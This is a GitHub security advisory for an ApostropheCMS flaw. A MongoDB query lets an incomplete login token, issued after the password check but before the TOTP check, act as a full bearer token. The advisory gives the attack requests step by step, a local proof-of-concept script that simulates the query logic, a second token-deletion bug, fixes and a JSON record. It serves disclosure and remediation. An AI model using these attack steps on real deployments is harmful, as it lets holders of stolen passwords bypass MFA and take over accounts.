GHSA-V9XM-FFX2-7H35

Vulnerability from github – Published: 2026-03-18 19:48 – Updated: 2026-03-19 21:14

Summary

ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Details

MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Summary

The bearer token authentication middleware in @apostrophecms/express/index.js (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using @apostrophecms/login-totp or any custom afterPasswordVerified login requirement.

Severity

The AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.

Affected Versions

All versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with @apostrophecms/login-totp or any custom afterPasswordVerified requirement.

Root Cause

In packages/apostrophe/modules/@apostrophecms/express/index.js, the getBearer() function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the requirementsToVerify array is either absent (no MFA configured) or empty (all MFA requirements completed):

async function getBearer() {
    const bearer = await self.apos.login.bearerTokens.findOne({
        _id: req.token,
        expires: { $gte: new Date() },
        // requirementsToVerify array should be empty or inexistant
        // for the token to be usable to log in.
        $or: [
            { requirementsToVerify: { $exists: false } },
            { requirementsToVerify: { $ne: [] } }  // BUG
        ]
    });
    return bearer && bearer.userId;
}

The comment correctly states the intent: the array should be "empty or inexistant." However, the MongoDB operator $ne: [] matches documents where requirementsToVerify is NOT an empty array — meaning it matches tokens that still have unverified requirements. This is the exact opposite of the intended behavior.

Token State	`requirementsToVerify`	`$ne: []` result	Should match?
No MFA configured	(field absent)	N/A (`$exists: false` matches)	Yes
TOTP pending	`["AposTotp"]`	`true` (BUG!)	No
All verified	`[]`	`false` (BUG!)	Yes
Field removed (`$unset`)	(field absent)	N/A (`$exists: false` matches)	Yes

Attack Scenario

Prerequisites

ApostropheCMS instance with @apostrophecms/login-totp enabled
Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach)
Attacker does NOT know the victim's TOTP secret/code

Steps

Authenticate with password only: ``` POST /api/v1/@apostrophecms/login/login Content-Type: application/json

{"username": "admin", "password": "correct_password", "session": false} ```

Receive incomplete token (server correctly requires TOTP): json {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}
Use incomplete token as bearer token (bypassing TOTP): GET /api/v1/@apostrophecms/page Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx
Full authenticated access granted. The bearer token middleware matches the token because requirementsToVerify: ["AposTotp"] satisfies $ne: []. The attacker has complete API access as the victim without ever providing a TOTP code.

Proof of Concept

See mfa-bypass-poc.js — demonstrates the query logic bug with all token states. Run:

#!/usr/bin/env node
/**
 * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware
 *
 * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js
 * has a logic error in the MongoDB query that validates bearer tokens.
 *
 * The comment says:
 *   "requirementsToVerify array should be empty or inexistant
 *    for the token to be usable to log in."
 *
 * But the actual query uses `$ne: []` (NOT equal to empty array),
 * which matches tokens WITH unverified requirements — the exact opposite
 * of the intended behavior.
 *
 * This allows an attacker who knows a user's password (but NOT their
 * TOTP code) to use the "incompleteToken" returned after password
 * verification as a fully authenticated bearer token, bypassing MFA.
 *
 * Affected: ApostropheCMS with @apostrophecms/login-totp (or any
 * custom afterPasswordVerified requirement)
 *
 * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389
 */

const RED = '\x1b[91m';
const GREEN = '\x1b[92m';
const YELLOW = '\x1b[93m';
const CYAN = '\x1b[96m';
const RESET = '\x1b[0m';
const BOLD = '\x1b[1m';

// Simulate MongoDB's $ne operator behavior
function mongoNe(fieldValue, compareValue) {
  // MongoDB $ne: true if field value is NOT equal to compareValue
  // For arrays, MongoDB compares by value
  if (Array.isArray(fieldValue) && Array.isArray(compareValue)) {
    if (fieldValue.length !== compareValue.length) return true;
    return fieldValue.some((v, i) => v !== compareValue[i]);
  }
  return fieldValue !== compareValue;
}

// Simulate MongoDB's $exists operator
function mongoExists(doc, field, shouldExist) {
  const exists = field in doc;
  return exists === shouldExist;
}

// Simulate MongoDB's $size operator
function mongoSize(fieldValue, size) {
  if (!Array.isArray(fieldValue)) return false;
  return fieldValue.length === size;
}

// Simulate the VULNERABLE bearer token query (line 386-389)
function vulnerableQuery(token) {
  // $or: [
  //   { requirementsToVerify: { $exists: false } },
  //   { requirementsToVerify: { $ne: [] } }     <-- BUG
  // ]
  const cond1 = mongoExists(token, 'requirementsToVerify', false);
  const cond2 = ('requirementsToVerify' in token)
    ? mongoNe(token.requirementsToVerify, [])
    : false;
  return cond1 || cond2;
}

// Simulate the FIXED bearer token query
function fixedQuery(token) {
  // $or: [
  //   { requirementsToVerify: { $exists: false } },
  //   { requirementsToVerify: { $size: 0 } }    <-- FIX
  // ]
  const cond1 = mongoExists(token, 'requirementsToVerify', false);
  const cond2 = ('requirementsToVerify' in token)
    ? mongoSize(token.requirementsToVerify, 0)
    : false;
  return cond1 || cond2;
}

function banner() {
  console.log(`${CYAN}${BOLD}
╔══════════════════════════════════════════════════════════════════╗
║  ApostropheCMS MFA/TOTP Bypass PoC                              ║
║  Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq)  ║
║  @apostrophecms/express/index.js:386-389                         ║
╚══════════════════════════════════════════════════════════════════╝${RESET}
`);
}

function test(name, token, expectedVuln, expectedFixed) {
  const vulnResult = vulnerableQuery(token);
  const fixedResult = fixedQuery(token);

  const vulnCorrect = vulnResult === expectedVuln;
  const fixedCorrect = fixedResult === expectedFixed;

  console.log(`${BOLD}${name}${RESET}`);
  console.log(`  Token: ${JSON.stringify(token)}`);
  console.log(`  Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);
  console.log(`  Fixed query matches:      ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);

  if (vulnResult && !fixedResult) {
    console.log(`  ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);
  }
  console.log();
  return vulnResult && !fixedResult;
}

// ——— Main ———
banner();
const bypasses = [];

console.log(`${BOLD}--- Token States During Login Flow ---${RESET}\n`);

// 1. Normal bearer token (no MFA configured)
// Created by initialLogin when there are no lateRequirements
// Token: { _id: "xxx", userId: "yyy", expires: Date }
// No requirementsToVerify field at all
test(
  '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED',
  { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) },
  true,  // vulnerable: accepted (correct)
  true   // fixed: accepted (correct)
);

// 2. Incomplete token — password verified, TOTP NOT verified
// Created by initialLogin when lateRequirements exist
// Token: { _id: "xxx", userId: "yyy", requirementsToVerify: ["AposTotp"], expires: Date }
const bypass1 = test(
  '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED',
  { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) },
  true,  // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp'])
  false  // fixed: rejected (correct)
);
if (bypass1) bypasses.push('TOTP bypass');

// 3. Token after all requirements verified (empty array, before $unset)
// After requirementVerify pulls each requirement from the array
// Token: { _id: "xxx", userId: "yyy", requirementsToVerify: [], expires: Date }
test(
  '[Token 3] All requirements verified (empty array) — should be ACCEPTED',
  { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },
  false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])
  true   // fixed: accepted (correct)
);

// 4. Finalized token (requirementsToVerify removed via $unset)
// After finalizeIncompleteLogin calls $unset
// Token: { _id: "xxx", userId: "yyy", expires: Date }
test(
  '[Token 4] Finalized token ($unset completed) — should be ACCEPTED',
  { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) },
  true,  // vulnerable: accepted (correct)
  true   // fixed: accepted (correct)
);

// 5. Multiple unverified requirements
const bypass2 = test(
  '[Token 5] Multiple unverified requirements — should be REJECTED',
  { _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) },
  true,  // vulnerable: ACCEPTED (BUG!)
  false  // fixed: rejected (correct)
);
if (bypass2) bypasses.push('Multi-requirement bypass');

// Attack scenario
console.log(`${BOLD}--- Attack Scenario ---${RESET}\n`);
console.log(`  ${YELLOW}Prerequisites:${RESET}`);
console.log(`    - ApostropheCMS instance with @apostrophecms/login-totp enabled`);
console.log(`    - Attacker knows victim's username and password`);
console.log(`    - Attacker does NOT know victim's TOTP code\n`);

console.log(`  ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);
console.log(`    POST /api/v1/@apostrophecms/login/login`);
console.log(`    {"username": "admin", "password": "correct_password", "session": false}\n`);

console.log(`  ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);
console.log(`    Response: {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}`);
console.log(`    (TOTP verification still required)\n`);

console.log(`  ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);
console.log(`    GET /api/v1/@apostrophecms/page`);
console.log(`    Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n`);

console.log(`  ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);
console.log(`    MongoDB query: {`);
console.log(`      _id: "clxxxxxxxxxxxxxxxxxxxxxxxxx",`);
console.log(`      expires: { $gte: new Date() },`);
console.log(`      $or: [`);
console.log(`        { requirementsToVerify: { $exists: false } },`);
console.log(`        { requirementsToVerify: { ${RED}$ne: []${RESET} } }  // BUG!`);
console.log(`      ]`);
console.log(`    }`);
console.log(`    The token has requirementsToVerify: ["AposTotp"]`);
console.log(`    $ne: [] matches because ["AposTotp"] !== []\n`);

console.log(`  ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);
console.log(`    req.user is set, req.csrfExempt = true`);
console.log(`    Full API access without TOTP verification\n`);

// Summary
console.log(`${BOLD}${'='.repeat(64)}`);
console.log(`Summary`);
console.log(`${'='.repeat(64)}${RESET}`);
console.log(`  ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\n`);
console.log(`  ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);
console.log(`  The MongoDB query uses $ne: [] which matches NON-empty arrays.`);
console.log(`  The comment says the array should be "empty or inexistant",`);
console.log(`  but $ne: [] matches exactly the opposite — non-empty arrays.\n`);
console.log(`  ${YELLOW}Vulnerable code:${RESET}`);
console.log(`    $or: [`);
console.log(`      { requirementsToVerify: { $exists: false } },`);
console.log(`      { requirementsToVerify: { $ne: [] } }  // BUG`);
console.log(`    ]\n`);
console.log(`  ${YELLOW}Fixed code:${RESET}`);
console.log(`    $or: [`);
console.log(`      { requirementsToVerify: { $exists: false } },`);
console.log(`      { requirementsToVerify: { $size: 0 } }  // FIX`);
console.log(`    ]\n`);
console.log(`  ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`);
console.log(`  password can skip TOTP verification and gain full authenticated`);
console.log(`  API access by using the incompleteToken as a bearer token.\n`);
console.log(`  ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);
console.log(`  issue where tokens with ALL requirements verified (empty array,`);
console.log(`  before the $unset runs) are incorrectly REJECTED. This is masked`);
console.log(`  by the fact that finalizeIncompleteLogin uses $unset to remove`);
console.log(`  the field entirely, so the $exists: false path is used instead.`);
console.log();
console.log();

Both bypass vectors (single and multiple unverified requirements) confirmed.

Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`

A second bug in @apostrophecms/login/index.js (lines 728-729, 735-736) amplifies the MFA bypass. When finalizeIncompleteLogin attempts to delete the incomplete token, it uses the wrong identifier:

await self.bearerTokens.removeOne({
    _id: token.userId  // BUG: should be token._id
});

The token's _id is a CUID (e.g., clxxxxxxxxx), but token.userId is the user's document ID. This means:

The incomplete token is never deleted from the database, even after a legitimate MFA-verified login
Combined with the $ne: [] bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)
Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists

This bug appears at two locations in finalizeIncompleteLogin: - Line 728-729: Error case (user not found) - Line 735-736: Success case (session-based login after MFA)

Recommended Fix

Fix 1: Bearer token query (express/index.js line 388)

Replace $ne: [] with $size: 0:

$or: [
    { requirementsToVerify: { $exists: false } },
    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only
]

This ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.

Fix 2: Token deletion (login/index.js lines 728-729, 735-736)

Replace token.userId with token._id:

await self.bearerTokens.removeOne({
    _id: token._id  // FIX: use the token's actual ID
});

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.27.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.28.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-305"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T19:48:51Z",
    "nvd_published_at": "2026-03-18T23:17:29Z",
    "severity": "HIGH"
  },
  "details": "# MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n\n## Summary\n\nThe bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens \u2014 where the password was verified but TOTP/MFA requirements were NOT \u2014 to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement.\n\n## Severity\n\nThe AC is High because the attacker must first obtain the victim\u0027s password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.\n\n## Affected Versions\n\nAll versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement.\n\n## Root Cause\n\nIn `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed):\n\n```javascript\nasync function getBearer() {\n    const bearer = await self.apos.login.bearerTokens.findOne({\n        _id: req.token,\n        expires: { $gte: new Date() },\n        // requirementsToVerify array should be empty or inexistant\n        // for the token to be usable to log in.\n        $or: [\n            { requirementsToVerify: { $exists: false } },\n            { requirementsToVerify: { $ne: [] } }  // BUG\n        ]\n    });\n    return bearer \u0026\u0026 bearer.userId;\n}\n```\n\nThe comment correctly states the intent: the array should be \"empty or inexistant.\" However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is **NOT** an empty array \u2014 meaning it matches tokens that still have **unverified requirements**. This is the exact opposite of the intended behavior.\n\n| Token State | `requirementsToVerify` | `$ne: []` result | Should match? |\n|---|---|---|---|\n| No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n| TOTP pending | `[\"AposTotp\"]` | `true` (BUG!) | **No** |\n| All verified | `[]` | `false` (BUG!) | **Yes** |\n| Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n\n## Attack Scenario\n\n### Prerequisites\n- ApostropheCMS instance with `@apostrophecms/login-totp` enabled\n- Attacker knows the victim\u0027s username and password (e.g., from credential stuffing, phishing, or a database breach)\n- Attacker does NOT know the victim\u0027s TOTP secret/code\n\n### Steps\n\n1. **Authenticate with password only:**\n   ```\n   POST /api/v1/@apostrophecms/login/login\n   Content-Type: application/json\n\n   {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\n   ```\n\n2. **Receive incomplete token** (server correctly requires TOTP):\n   ```json\n   {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}\n   ```\n\n3. **Use incomplete token as bearer token** (bypassing TOTP):\n   ```\n   GET /api/v1/@apostrophecms/page\n   Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n   ```\n\n4. **Full authenticated access granted.** The bearer token middleware matches the token because `requirementsToVerify: [\"AposTotp\"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code.\n\n## Proof of Concept\n\nSee `mfa-bypass-poc.js` \u2014 demonstrates the query logic bug with all token states. Run:\n\n```bash\n#!/usr/bin/env node\n/**\n * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n *\n * ApostropheCMS\u0027s bearer token middleware in @apostrophecms/express/index.js\n * has a logic error in the MongoDB query that validates bearer tokens.\n *\n * The comment says:\n *   \"requirementsToVerify array should be empty or inexistant\n *    for the token to be usable to log in.\"\n *\n * But the actual query uses `$ne: []` (NOT equal to empty array),\n * which matches tokens WITH unverified requirements \u2014 the exact opposite\n * of the intended behavior.\n *\n * This allows an attacker who knows a user\u0027s password (but NOT their\n * TOTP code) to use the \"incompleteToken\" returned after password\n * verification as a fully authenticated bearer token, bypassing MFA.\n *\n * Affected: ApostropheCMS with @apostrophecms/login-totp (or any\n * custom afterPasswordVerified requirement)\n *\n * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389\n */\n\nconst RED = \u0027\\x1b[91m\u0027;\nconst GREEN = \u0027\\x1b[92m\u0027;\nconst YELLOW = \u0027\\x1b[93m\u0027;\nconst CYAN = \u0027\\x1b[96m\u0027;\nconst RESET = \u0027\\x1b[0m\u0027;\nconst BOLD = \u0027\\x1b[1m\u0027;\n\n// Simulate MongoDB\u0027s $ne operator behavior\nfunction mongoNe(fieldValue, compareValue) {\n  // MongoDB $ne: true if field value is NOT equal to compareValue\n  // For arrays, MongoDB compares by value\n  if (Array.isArray(fieldValue) \u0026\u0026 Array.isArray(compareValue)) {\n    if (fieldValue.length !== compareValue.length) return true;\n    return fieldValue.some((v, i) =\u003e v !== compareValue[i]);\n  }\n  return fieldValue !== compareValue;\n}\n\n// Simulate MongoDB\u0027s $exists operator\nfunction mongoExists(doc, field, shouldExist) {\n  const exists = field in doc;\n  return exists === shouldExist;\n}\n\n// Simulate MongoDB\u0027s $size operator\nfunction mongoSize(fieldValue, size) {\n  if (!Array.isArray(fieldValue)) return false;\n  return fieldValue.length === size;\n}\n\n// Simulate the VULNERABLE bearer token query (line 386-389)\nfunction vulnerableQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $ne: [] } }     \u003c-- BUG\n  // ]\n  const cond1 = mongoExists(token, \u0027requirementsToVerify\u0027, false);\n  const cond2 = (\u0027requirementsToVerify\u0027 in token)\n    ? mongoNe(token.requirementsToVerify, [])\n    : false;\n  return cond1 || cond2;\n}\n\n// Simulate the FIXED bearer token query\nfunction fixedQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $size: 0 } }    \u003c-- FIX\n  // ]\n  const cond1 = mongoExists(token, \u0027requirementsToVerify\u0027, false);\n  const cond2 = (\u0027requirementsToVerify\u0027 in token)\n    ? mongoSize(token.requirementsToVerify, 0)\n    : false;\n  return cond1 || cond2;\n}\n\nfunction banner() {\n  console.log(`${CYAN}${BOLD}\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  ApostropheCMS MFA/TOTP Bypass PoC                              \u2551\n\u2551  Bearer Token Middleware \u2014 Incorrect MongoDB Query ($ne vs $eq)  \u2551\n\u2551  @apostrophecms/express/index.js:386-389                         \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d${RESET}\n`);\n}\n\nfunction test(name, token, expectedVuln, expectedFixed) {\n  const vulnResult = vulnerableQuery(token);\n  const fixedResult = fixedQuery(token);\n\n  const vulnCorrect = vulnResult === expectedVuln;\n  const fixedCorrect = fixedResult === expectedFixed;\n\n  console.log(`${BOLD}${name}${RESET}`);\n  console.log(`  Token: ${JSON.stringify(token)}`);\n  console.log(`  Vulnerable query matches: ${vulnResult ? GREEN + \u0027YES\u0027 : RED + \u0027NO\u0027}${RESET} (${vulnCorrect ? \u0027expected\u0027 : RED + \u0027UNEXPECTED!\u0027 + RESET})`);\n  console.log(`  Fixed query matches:      ${fixedResult ? GREEN + \u0027YES\u0027 : RED + \u0027NO\u0027}${RESET} (${fixedCorrect ? \u0027expected\u0027 : RED + \u0027UNEXPECTED!\u0027 + RESET})`);\n\n  if (vulnResult \u0026\u0026 !fixedResult) {\n    console.log(`  ${RED}=\u003e BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);\n  }\n  console.log();\n  return vulnResult \u0026\u0026 !fixedResult;\n}\n\n// \u2014\u2014\u2014 Main \u2014\u2014\u2014\nbanner();\nconst bypasses = [];\n\nconsole.log(`${BOLD}--- Token States During Login Flow ---${RESET}\\n`);\n\n// 1. Normal bearer token (no MFA configured)\n// Created by initialLogin when there are no lateRequirements\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\n// No requirementsToVerify field at all\ntest(\n  \u0027[Token 1] Normal bearer token (no MFA) \u2014 should be ACCEPTED\u0027,\n  { _id: \u0027token1\u0027, userId: \u0027user1\u0027, expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 2. Incomplete token \u2014 password verified, TOTP NOT verified\n// Created by initialLogin when lateRequirements exist\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [\"AposTotp\"], expires: Date }\nconst bypass1 = test(\n  \u0027[Token 2] Incomplete token (TOTP NOT verified) \u2014 should be REJECTED\u0027,\n  { _id: \u0027token2\u0027, userId: \u0027user2\u0027, requirementsToVerify: [\u0027AposTotp\u0027], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED (BUG! $ne:[] matches [\u0027AposTotp\u0027])\n  false  // fixed: rejected (correct)\n);\nif (bypass1) bypasses.push(\u0027TOTP bypass\u0027);\n\n// 3. Token after all requirements verified (empty array, before $unset)\n// After requirementVerify pulls each requirement from the array\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [], expires: Date }\ntest(\n  \u0027[Token 3] All requirements verified (empty array) \u2014 should be ACCEPTED\u0027,\n  { _id: \u0027token3\u0027, userId: \u0027user3\u0027, requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },\n  false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])\n  true   // fixed: accepted (correct)\n);\n\n// 4. Finalized token (requirementsToVerify removed via $unset)\n// After finalizeIncompleteLogin calls $unset\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\ntest(\n  \u0027[Token 4] Finalized token ($unset completed) \u2014 should be ACCEPTED\u0027,\n  { _id: \u0027token4\u0027, userId: \u0027user4\u0027, expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 5. Multiple unverified requirements\nconst bypass2 = test(\n  \u0027[Token 5] Multiple unverified requirements \u2014 should be REJECTED\u0027,\n  { _id: \u0027token5\u0027, userId: \u0027user5\u0027, requirementsToVerify: [\u0027AposTotp\u0027, \u0027CustomMFA\u0027], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED (BUG!)\n  false  // fixed: rejected (correct)\n);\nif (bypass2) bypasses.push(\u0027Multi-requirement bypass\u0027);\n\n// Attack scenario\nconsole.log(`${BOLD}--- Attack Scenario ---${RESET}\\n`);\nconsole.log(`  ${YELLOW}Prerequisites:${RESET}`);\nconsole.log(`    - ApostropheCMS instance with @apostrophecms/login-totp enabled`);\nconsole.log(`    - Attacker knows victim\u0027s username and password`);\nconsole.log(`    - Attacker does NOT know victim\u0027s TOTP code\\n`);\n\nconsole.log(`  ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);\nconsole.log(`    POST /api/v1/@apostrophecms/login/login`);\nconsole.log(`    {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\\n`);\n\nconsole.log(`  ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);\nconsole.log(`    Response: {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}`);\nconsole.log(`    (TOTP verification still required)\\n`);\n\nconsole.log(`  ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);\nconsole.log(`    GET /api/v1/@apostrophecms/page`);\nconsole.log(`    Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\\n`);\n\nconsole.log(`  ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);\nconsole.log(`    MongoDB query: {`);\nconsole.log(`      _id: \"clxxxxxxxxxxxxxxxxxxxxxxxxx\",`);\nconsole.log(`      expires: { $gte: new Date() },`);\nconsole.log(`      $or: [`);\nconsole.log(`        { requirementsToVerify: { $exists: false } },`);\nconsole.log(`        { requirementsToVerify: { ${RED}$ne: []${RESET} } }  // BUG!`);\nconsole.log(`      ]`);\nconsole.log(`    }`);\nconsole.log(`    The token has requirementsToVerify: [\"AposTotp\"]`);\nconsole.log(`    $ne: [] matches because [\"AposTotp\"] !== []\\n`);\n\nconsole.log(`  ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);\nconsole.log(`    req.user is set, req.csrfExempt = true`);\nconsole.log(`    Full API access without TOTP verification\\n`);\n\n// Summary\nconsole.log(`${BOLD}${\u0027=\u0027.repeat(64)}`);\nconsole.log(`Summary`);\nconsole.log(`${\u0027=\u0027.repeat(64)}${RESET}`);\nconsole.log(`  ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(\u0027, \u0027)}\\n`);\nconsole.log(`  ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);\nconsole.log(`  The MongoDB query uses $ne: [] which matches NON-empty arrays.`);\nconsole.log(`  The comment says the array should be \"empty or inexistant\",`);\nconsole.log(`  but $ne: [] matches exactly the opposite \u2014 non-empty arrays.\\n`);\nconsole.log(`  ${YELLOW}Vulnerable code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $ne: [] } }  // BUG`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${YELLOW}Fixed code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $size: 0 } }  // FIX`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user\u0027s`);\nconsole.log(`  password can skip TOTP verification and gain full authenticated`);\nconsole.log(`  API access by using the incompleteToken as a bearer token.\\n`);\nconsole.log(`  ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);\nconsole.log(`  issue where tokens with ALL requirements verified (empty array,`);\nconsole.log(`  before the $unset runs) are incorrectly REJECTED. This is masked`);\nconsole.log(`  by the fact that finalizeIncompleteLogin uses $unset to remove`);\nconsole.log(`  the field entirely, so the $exists: false path is used instead.`);\nconsole.log();\nconsole.log();\n\n```\n\nBoth bypass vectors (single and multiple unverified requirements) confirmed.\n\n## Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`\n\nA second bug in `@apostrophecms/login/index.js` (lines 728-729, 735-736) amplifies the MFA bypass. When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token.userId  // BUG: should be token._id\n});\n```\n\nThe token\u0027s `_id` is a CUID (e.g., `clxxxxxxxxx`), but `token.userId` is the user\u0027s document ID. This means:\n\n1. The incomplete token is **never deleted** from the database, even after a legitimate MFA-verified login\n2. Combined with the `$ne: []` bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)\n3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists\n\nThis bug appears at two locations in `finalizeIncompleteLogin`:\n- Line 728-729: Error case (user not found)\n- Line 735-736: Success case (session-based login after MFA)\n\n## Recommended Fix\n\n### Fix 1: Bearer token query (express/index.js line 